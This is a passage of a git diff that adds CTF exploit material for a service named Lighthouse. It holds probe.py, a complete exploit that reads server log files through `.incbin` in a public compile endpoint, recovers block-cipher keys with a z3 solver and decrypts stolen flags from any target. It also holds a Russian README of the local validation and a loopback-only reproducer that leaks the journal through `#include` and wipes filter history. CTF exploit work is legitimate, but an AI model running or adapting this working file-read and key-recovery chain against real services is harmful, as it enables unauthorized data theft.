[group[0][0] ^ group[0][1] ^ kxv for group in pairs] + k0 = z3.BitVec("k0", 32) + stage = z3.SolverFor("QF_BV") + for group in range(1, 8): + stage.add(bv(cv[0] ^ cv[group]) == + symbolic_f(bv(xv[0]) ^ k0) ^ symbolic_f(bv(xv[group]) ^ k0)) + (k0v,) = checked(stage, [k0]) + k4v = cv[0] ^ f(xv[0] ^ k0v) + keys = [k0v, k1v, k2v, k3v, k4v, k4v ^ kxv] + for group in pairs: + for left, right, top, bottom in group: + x = left ^ keys[4] ^ right ^ keys[5] + y = (left ^ keys[4]) ^ f(x ^ keys[0]) + for rnd in (1, 2): + x, y = y, x ^ f(y ^ keys[rnd]) + last = x ^ f(y ^ keys[3]) + if last != top or (last ^ y) != bottom: + raise Failure("recovered keys fail known-pair validation") + return keys + + +def decrypt(cipher_hex, keys): + raw = bytes.fromhex(cipher_hex.decode("ascii")) + if not raw or len(raw) % 8: + return b"" + out = bytearray() + for i in range(0, len(raw), 8): + value = int.from_bytes(raw[i:i + 8], "big") + x = value >> 32 + y = (value & 0xffffffff) ^ x + for rnd in (3, 2, 1): + x, y = y, x ^ f(y ^ keys[rnd]) + first = x ^ f(y ^ keys[0]) + out.extend((((first ^ keys[4]) << 32) | (first ^ y ^ keys[5])).to_bytes(8, "big")) + padding = out[-1] + if not 1 <= padding <= 8 or out[-padding:] != bytes([padding]) * padding: + return b"" + return bytes(out[:-padding]) + + +class Client: + def __init__(self, url, deadline): + self.url = url + self.deadline = deadline + self.compiler_queue = None + self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({})) + + def api(self, path, body=None): + global HTTP_CALLS, HTTP_SECONDS + left = self.deadline - time.monotonic() + if left <= 0: + raise Failure("time budget exceeded") + data = json.dumps(body).encode() if body is not None else None + request = urllib.request.Request( + self.url + path, data=data, headers={"Content-Type": "application/json"}) + started = time.monotonic() + try: + HTTP_CALLS += 1 + with self.opener.open(request, timeout=min(3, left)) as response: + return response.status, json.load(response) + except urllib.error.HTTPError as error: + try: + return error.code, json.load(error) + except ValueError: + raise Failure("non-JSON service error") from error + except (OSError, ValueError) as error: + raise Failure("HTTP request failed") from error + finally: + HTTP_SECONDS += time.monotonic() - started + + def compile(self, path, offset, count): + global COMPILE_CALLS + COMPILE_CALLS += 1 + asm = (".byte 0x41,0x01,0x41,0x02,0x41,0x03,0x41,0x04\n" + + f'.incbin "{path}",{offset},{count}\n' + + ".byte 0x41,0x05,0x41,0x06,0x41,0x07,0x41,0x08") + source = "int filter(int n) { __asm__(" + json.dumps(asm) + "); return 1; }" + return self.api(f"/api/queues/{self.compiler_queue}/filter", + {"source": source, "label": "probe"}) + + @staticmethod + def embedded_bytes(body): + listing = body.get("listing", "") + raw = bytes.fromhex("".join(m.group(1).replace(" ", "") + for m in HEX_LINES.finditer(listing))) + start = raw.find(MARKER) + end = raw.find(END_MARKER, start + len(MARKER)) if start >= 0 else -1 + if start < 0 or end < 0: + raise Failure("compiler listing omitted journal markers") + return raw[start + len(MARKER):end] + + def valid_offset(self, path, offset): + status, body = self.compile(path, offset, 1) + return status == 200 and len(self.embedded_bytes(body)) == 1 + + def file_size(self, path): + if not self.valid_offset(path, 0): + raise Failure("journal missing or compiler cannot read it") + low, high = 1, 2 + while True: + if not self.valid_offset(path, high - 1): + break + low, high = high, high * 2 + if high > 32 * 1024 * 1024: + raise Failure("journal exceeds bounded size probe") + while low < high: + mid = (low + high) // 2 + if self.valid_offset(path, mid): + low = mid + 1 + else: + high = mid + return low + + def leak(self, path, start, end): + out = bytearray() + for offset in range(start, end, 192): + count = min(192, end - offset) + status, body = self.compile(path, offset, count) + if status != 200: + raise Failure("journal chunk compile failed") + leaked = self.embedded_bytes(body) + if len(leaked) != count: + raise Failure("compiler listing omitted journal bytes") + out.extend(leaked) + return bytes(out) + + +def main(): + global SOLVE_SECONDS + if len(sys.argv) < 2: + raise Failure("usage: probe.py TARGET [QUEUE_UUID]") + target = sys.argv[1] + queue = sys.argv[2] if len(sys.argv) > 2 else os.getenv("LIGHTHOUSE_QUEUE_ID", "") + if not UUID.fullmatch(queue): + raise Failure("missing or invalid queue UUID hint") + if "://" not in target: + target = "http://" + target + parsed = urlparse(target) + if parsed.scheme not in ("http", "https") or not parsed.hostname: + raise Failure("invalid target") + port = parsed.port or 8085 + base = f"{parsed.scheme}://{parsed.hostname}:{port}" + client = Client(base, time.monotonic() + 30) + status, info = client.api(f"/api/queues/{queue}") + if status != 200: + raise Failure("target queue unavailable") + day = info.get("created_at", "")[:10] + if not re.fullmatch(r"\d{4}-\d{2}-\d{2}", day): + raise Failure("invalid queue creation date") + journal = f"/var/log/lighthouse/{day}/{queue}.log" + status, attacker = client.api("/api/queues", {"label": "probe"}) + if status != 201 or not UUID.fullmatch(attacker.get("id", "")): + raise Failure("cannot create compiler queue") + client.compiler_queue = attacker["id"] + size_before = client.file_size(journal) + + rng = random.Random(753981) + groups, payload = [], bytearray() + for _ in range(8): + xor = rng.getrandbits(32) + group = [] + for _ in range(6): + left = rng.getrandbits(32) + right = left ^ xor + group.append((left, right)) + payload.extend(left.to_bytes(4, "big") + right.to_bytes(4, "big")) + groups.append(group) + topic = "probe" + os.urandom(4).hex() + status, sent = client.api(f"/api/queues/{queue}/messages", + {"message": base64.b64encode(payload).decode("ascii"), + "topic": topic}) + if status != 201: + raise Failure("chosen plaintext delivery rejected") + cipher_length = sent.get("encrypted_length") + if cipher_length != (len(payload) + 8) * 2: + raise Failure("unexpected cipher length") + line_length = 20 + 7 + 36 + 7 + len(topic) + 12 + cipher_length + 1 + probe_line = client.leak(journal, size_before, size_before + line_length) + match = next((m for m in LINE.finditer(probe_line) + if m.group(1) == topic.encode()), None) + if not match: + # Another writer may have appended between the size check and our message. + size_after = client.file_size(journal) + if size_after > size_before + 4096: + raise Failure("chosen message moved beyond bounded race window") + probe_line = client.leak(journal, size_before, size_after) + match = next((m for m in LINE.finditer(probe_line) + if m.group(1) == topic.encode()), None) + if not match or len(match.group(2)) != cipher_length: + raise Failure("chosen ciphertext missing from journal") + cipher = match.group(2) + pairs = [] + for group_index, group in enumerate(groups): + solved_group = [] + for index, (left, right) in enumerate(group): + value = int(cipher[(group_index * 6 + index) * 16: + (group_index * 6 + index + 1) * 16], 16) + solved_group.append((left, right, value >> 32, value & 0xffffffff)) + pairs.append(solved_group) + solve_started = time.monotonic() + keys = solve_effective(pairs) + SOLVE_SECONDS = time.monotonic() - solve_started + flag_regex = re.compile(os.getenv("LIGHTHOUSE_FLAG_REGEX", + r"[A-Z0-9]{31}=").encode("ascii")) + seen = set() + step = 2048 + for end in range(size_before, max(-1, size_before - 8192), -step): + start = max(0, end - step) + data = client.leak(journal, start, end) + for item in reversed(list(LINE.finditer(data))): + plain = decrypt(item.group(2), keys) + for found in flag_regex.findall(plain): + if found not in seen: + seen.add(found) + print(found.decode("ascii"), flush=True) + if seen or start == 0: + break + if not seen: + print("no matching flag in bounded journal tail", file=sys.stderr) + + +if __name__ == "__main__": + started = time.monotonic() + try: + main() + except Failure as error: + print(str(error), file=sys.stderr) + raise SystemExit(1) + finally: + print(f"elapsed={time.monotonic() - started:.3f}s " + f"http={HTTP_CALLS} compile={COMPILE_CALLS} " + f"http_seconds={HTTP_SECONDS:.3f} solve_seconds={SOLVE_SECONDS:.3f}", + file=sys.stderr) diff --git a/sploits/lighthouse/flag_hunt/requirements.txt b/sploits/lighthouse/flag_hunt/requirements.txt new file mode 100644 index 0000000..0562429 --- /dev/null +++ b/sploits/lighthouse/flag_hunt/requirements.txt @@ -0,0 +1 @@ +z3-solver==5.3.1.0 diff --git a/sploits/lighthouse/journal_filter/README.md b/sploits/lighthouse/journal_filter/README.md new file mode 100644 index 0000000..e50d2fd --- /dev/null +++ b/sploits/lighthouse/journal_filter/README.md @@ -0,0 +1,61 @@ +# Lighthouse L-02/L-04/L-05 — локальное воспроизведение + +## Обновление: подтверждена цепочка до синтетического флага + +После исходной проверки `#include` другой исследователь подготовил PoC +`../flag_hunt/probe.py`: публичный C-фильтр через `.incbin` выводит байты журнала +в `listing`, публичная отправка сообщения даёт 48 выбранных 8-байтовых блоков +открытого текста, а staged SMT-восстановление даёт **эквивалентные ключи блочного +шифра**. Это не исходный `read_key`, но их достаточно для расшифрования +шифртекста сообщений из журнала. + +Я независимо проверил этот PoC на **новой собственной очереди** baseline в +отдельном tmpfs-контейнере: заранее записал неизвестный PoC синтетический +`GOCTF{...}` и дополнительное случайное 31-байтовое сообщение. В PoC передал +только loopback URL и UUID, без `read_key`. PoC вывел ровно ожидаемый флаг; +восстановленные ключи побайтно расшифровали и дополнительное сообщение. +Получилось 28 HTTP-запросов (1 GET, 27 POST) за 2,074 с на локальном Docker. +Затем я повторил финальный PoC на двух других свежих синтетических очередях с +официальным форматом `[A-Z0-9]{31}=` без переопределения regex. В обоих случаях +он вывел ровно заранее неизвестный ему флаг и побайтно расшифровал отдельное +случайное 31-байтовое сообщение. Во втором измеренном прогоне: 28 HTTP-запросов, +25 компиляций, 1,263 с всего (0,998 с HTTP, 0,257 с solver). Это локальные +времена на loopback, не оценка игровой сети или загруженного контейнера. +На первой версии PoC обнаружился ложный критерий EOF: `.incbin` возвращал HTTP +200 и за концом файла. Исследователь заменил его проверкой длины байтов между +двумя маркерами; повторный независимый прогон прошёл. Ложный ключ на этом +наборе не обнаружен, но одна очередь не даёт статистической гарантии. Этот +результат требует **пересмотра приоритета сочетания L-04 и L-05** и проверки +кандидата патча против полного PoC. + +Источник: побайтная копия `services/lighthouse-baseline-4f70df55/lighthouse/` от Git SHA `4f70df55dd822880f4759d553f7ed249166cad86`. Исследование выполнено 25.10.2026 на отдельном Docker-образе `goctf-lighthouse-baseline:4f70df55`, в контейнере с тремя временными `tmpfs` и публикацией **только** на `127.0.0.1:18185`. Данные полностью синтетические; игровая сеть, vulnbox, секреты и флаги не использовались. + +## Статус + +| Гипотеза | Статус | Точное наблюдение | Путь к флагу | +| --- | --- | --- | --- | +| L-02: публичная загрузка фильтра портит чужую историю | **Локально подтверждено** | 17 запросов без `X-Queue-Key` с некорректным C вернули `422`, но создали ревизии. Ранее созданная неактивная ревизия владельца после этого давала `404` даже с его ключом. Активная ревизия оставалась доступной (`200`). | Не обнаружен. Это порча истории и ограниченный отказ обслуживания, а не чтение сообщений. | +| L-04: журнал читается через диагностику и `listing` Clang | **Локально подтверждено** | `#include` дал строку журнала в `compiler`; `.incbin` дал заданные байты журнала в `listing`. Оба публичных `POST /filter` не требовали ключа. | В сочетании с L-05 и выбранным открытым текстом **локально подтверждена** расшифровка ранее неизвестного синтетического флага. | +| L-05: шифр допускает восстановление эквивалентных ключей | **Локально подтверждено в цепочке L-04+L-05** | 48 выбранных блоков в одном публичном сообщении, шифртекст из журнала, staged SMT; проверка на неизвестном флаге и дополнительном случайном сообщении успешна. | Да, для сообщений той же очереди, если её журнал доступен. Исходный `read_key` не восстановлен. | +| SQLite через унаследованный FD Clang | **Проверена и не подтверждена** на этом стенде | У процесса сервера FD 3–5 указывают на SQLite DB/WAL/SHM; у пойманного процесса Clang они отсутствовали. `#include /data/lighthouse.db` и `/proc/1/fd/3` дали отказ в доступе, `/proc/self/fd/3` — отсутствие файла. Пробы FD 3–20 не выдали синтетический ключ. У Clang также был FD 8 сокета, но его `#include` дал `ENXIO`. | Ключ через этот путь не получен. Это не доказательство отсутствия других путей. | + +## Условия и воспроизведение + +- L-02 требует UUID очереди, известного из публичного API или допустимых игровых подсказок. Ключ не нужен для `POST /filter`; 16 последних неактивных ревизий сохраняются. Атака не удаляет текущую активную ревизию, но вытесняет старые неактивные записи и создаёт нагрузку на компилятор/диск. Наш тест ограничен 17 запросами на собственной тестовой очереди. +- L-04 требует UUID и дату создания очереди для пути `/var/log/lighthouse/YYYY-MM-DD/.log`; публичный `GET /api/queues/` раскрывает `created_at`. Нужна хотя бы одна запись в журнале и исходные права 0755/0644. Публичный `POST /filter` создаёт новую ревизию на своей compiler-очереди. Если правки закрыли журнал или изменили `listing`, цепочка прервётся. Большой журнал увеличивает число HTTP-запросов; текущий PoC просматривает только ограниченный хвост, поэтому может пропустить старый флаг. +- Для цепочки L-04+L-05 необходима публичная отправка выбранного сообщения в целевую очередь и возможность прочитать её новый ciphertext из журнала. Эквивалентные ключи не являются `read_key`, поэтому они не дают доступа к `GET /messages` или активации фильтров. Локально подтверждённый флаговый PoC находится в `../flag_hunt/probe.py`; его поведение на игровом маршруте, при нагрузке, в официальном checker и против патча не проверено. + +Одноразовый репродуктор допускает только loopback и сам создаёт синтетические очереди: + +```sh +python3 reproduce.py http://127.0.0.1:18185 --mode both --timeout 4 +``` + +Для проверки отдельно используйте `--mode journal` или `--mode history`. Этот ограниченный диагностический скрипт не принимает произвольный UUID жертвы и не печатает ключи, шифртекст или сообщение. Его **stdout пуст**; краткий результат идёт в stderr. Флаговый PoC — отдельный `../flag_hunt/probe.py`. На baseline обе диагностические проверки прошли; `python3 -m py_compile reproduce.py` прошёл. + +## Точки кода + +- L-02: `server/main.cpp:139-185`, особенно проверка только `require_queue` в строке 148, добавление ревизии в 156–163 и удаление в 164–184. Активация в 229–240 отдельно требует ключ. +- L-04: `server/main.cpp:57-64,139-150,186-189`, `server/chronicle.hpp:16-24`, `server/compiler.hpp:82-115`. Компилятор работает от `nobody` и выводит диагностику включённого файла. Прямая SQLite находится под `/data` с правом 0700. + +Эти результаты относятся к исходной ревизии. Незакоммиченный кандидат в `repos/go-ctf-services/lighthouse/` во время проверки изменялся другим агентом и здесь не тестировался. diff --git a/sploits/lighthouse/journal_filter/reproduce.py b/sploits/lighthouse/journal_filter/reproduce.py new file mode 100644 index 0000000..5b57719 --- /dev/null +++ b/sploits/lighthouse/journal_filter/reproduce.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Bounded Lighthouse L-02/L-04 reproducer for a disposable loopback lab. + +The program creates its own synthetic queue and sends at most 21 filter builds. +It never prints queue keys, ciphertext, or synthetic payloads. Stdout is kept +empty because neither issue has been shown to recover a scoring flag. +""" + +from __future__ import annotations + +import argparse +import base64 +import json +import sys +import urllib.error +import urllib.parse +import urllib.request + + +class ProbeError(Exception): + pass + + +OPENER = urllib.request.build_opener(urllib.request.ProxyHandler({})) + + +def api(base: str, timeout: float, method: str, path: str, body=None, key=None): + headers = {"Accept": "application/json"} + data = None + if body is not None: + data = json.dumps(body).encode("utf-8") + headers["Content-Type"] = "application/json" + if key is not None: + headers["X-Queue-Key"] = key + request = urllib.request.Request( + base + path, data=data, headers=headers, method=method + ) + try: + response = OPENER.open(request, timeout=timeout) + except urllib.error.HTTPError as error: + response = error + except urllib.error.URLError as error: + raise ProbeError(f"network error: {error.reason}") from error + try: + payload = json.loads(response.read(65536)) + except (ValueError, UnicodeError) as error: + raise ProbeError(f"HTTP {response.status}: invalid JSON") from error + if not isinstance(payload, dict): + raise ProbeError(f"HTTP {response.status}: expected JSON object") + return response.status, payload + + +def new_queue(base: str, timeout: float): + status, queue = api(base, timeout, "POST", "/api/queues", {"label": "synthetic_lab"}) + if status != 201 or not all(k in queue for k in ("id", "read_key", "created_at")): + raise ProbeError(f"create queue failed: HTTP {status}") + return queue + + +def journal(base: str, timeout: float): + queue = new_queue(base, timeout) + queue_id = queue["id"] + message = base64.b64encode(b"SYNTHETIC-SECRET-NO-FLAG").decode("ascii") + status, _ = api( + base, timeout, "POST", f"/api/queues/{queue_id}/messages", + {"message": message, "topic": "synthetic_topic"}, + ) + if status != 201: + raise ProbeError(f"synthetic message failed: HTTP {status}") + day = queue["created_at"][:10] + source = ( + f'#include "/var/log/lighthouse/{day}/{queue_id}.log"\n' + "int filter(int encrypted_length) { return 1; }" + ) + status, result = api( + base, timeout, "POST", f"/api/queues/{queue_id}/filter", + {"source": source, "label": "synthetic_probe"}, + ) + diagnostic = result.get("compiler", "") + if not isinstance(diagnostic, str): + raise ProbeError("compiler field is not text") + exposed = "topic=synthetic_topic ciphertext=" in diagnostic + plaintext = "SYNTHETIC-SECRET-NO-FLAG" in diagnostic + print( + f"L-04: HTTP {status}; journal metadata/ciphertext exposed={exposed}; " + f"plaintext exposed={plaintext}; inserted revision={result.get('revision')}", + file=sys.stderr, + ) + if not exposed: + raise ProbeError("L-04 was not reproduced on this target") + + +def history(base: str, timeout: float): + queue = new_queue(base, timeout) + queue_id, key = queue["id"], queue["read_key"] + path = f"/api/queues/{queue_id}/filter" + status, active = api( + base, timeout, "POST", path, + {"source": "int filter(int n) { return 1; }", "label": "owner_active"}, + ) + if status != 200: + raise ProbeError(f"owner active revision failed: HTTP {status}") + status, old = api( + base, timeout, "POST", path, + {"source": "int filter(int n) { return n != 7; }", "label": "owner_old"}, + ) + if status != 200: + raise ProbeError(f"owner old revision failed: HTTP {status}") + status, _ = api( + base, timeout, "POST", + f"/api/queues/{queue_id}/filters/{active['revision']}/activate", {}, key=key, + ) + if status != 200: + raise ProbeError(f"activate failed: HTTP {status}") + # Each unauthenticated rejected build creates a revision. The server keeps + # the newest 16 inactive revisions, so 17 requests remove the old owner one. + statuses = [] + for _ in range(17): + status, _ = api( + base, timeout, "POST", path, + {"source": "int filter(", "label": "synthetic_unauthorized"}, + ) + statuses.append(status) + old_status, _ = api( + base, timeout, "GET", + f"/api/queues/{queue_id}/filters/{old['revision']}", key=key, + ) + active_status, _ = api( + base, timeout, "GET", + f"/api/queues/{queue_id}/filters/{active['revision']}", key=key, + ) + exposed = all(status == 422 for status in statuses) and old_status == 404 + print( + f"L-02: anonymous rejected builds={len(statuses)}; " + f"owner inactive revision HTTP {old_status}; " + f"owner active revision HTTP {active_status}; history deletion={exposed}", + file=sys.stderr, + ) + if not exposed or active_status != 200: + raise ProbeError("L-02 was not reproduced as expected") + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("base_url", help="disposable local Lighthouse URL") + parser.add_argument("--mode", choices=("journal", "history", "both"), default="both") + parser.add_argument("--timeout", type=float, default=4.0) + args = parser.parse_args() + parsed = urllib.parse.urlsplit(args.base_url) + if parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1"): + parser.error("this synthetic reproducer only accepts a loopback HTTP target") + if parsed.username is not None or parsed.password is not None: + parser.error("base_url must not contain username or password") + if parsed.path not in ("", "/") or parsed.query or parsed.fragment: + parser.error("base_url must not contain a path, query, or fragment") + if not 0.1 <= args.timeout <= 10: + parser.error("timeout must be between 0.1 and 10 seconds") + base = args.base_url.rstrip("/") + try: + if args.mode in ("journal", "both"): + journal(base, args.timeout) + if args.mode in ("history", "both"): + history(base, args.timeout) + except ProbeError as error: + print(f"probe failed: {error}", file=sys.stderr) + return 1 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main())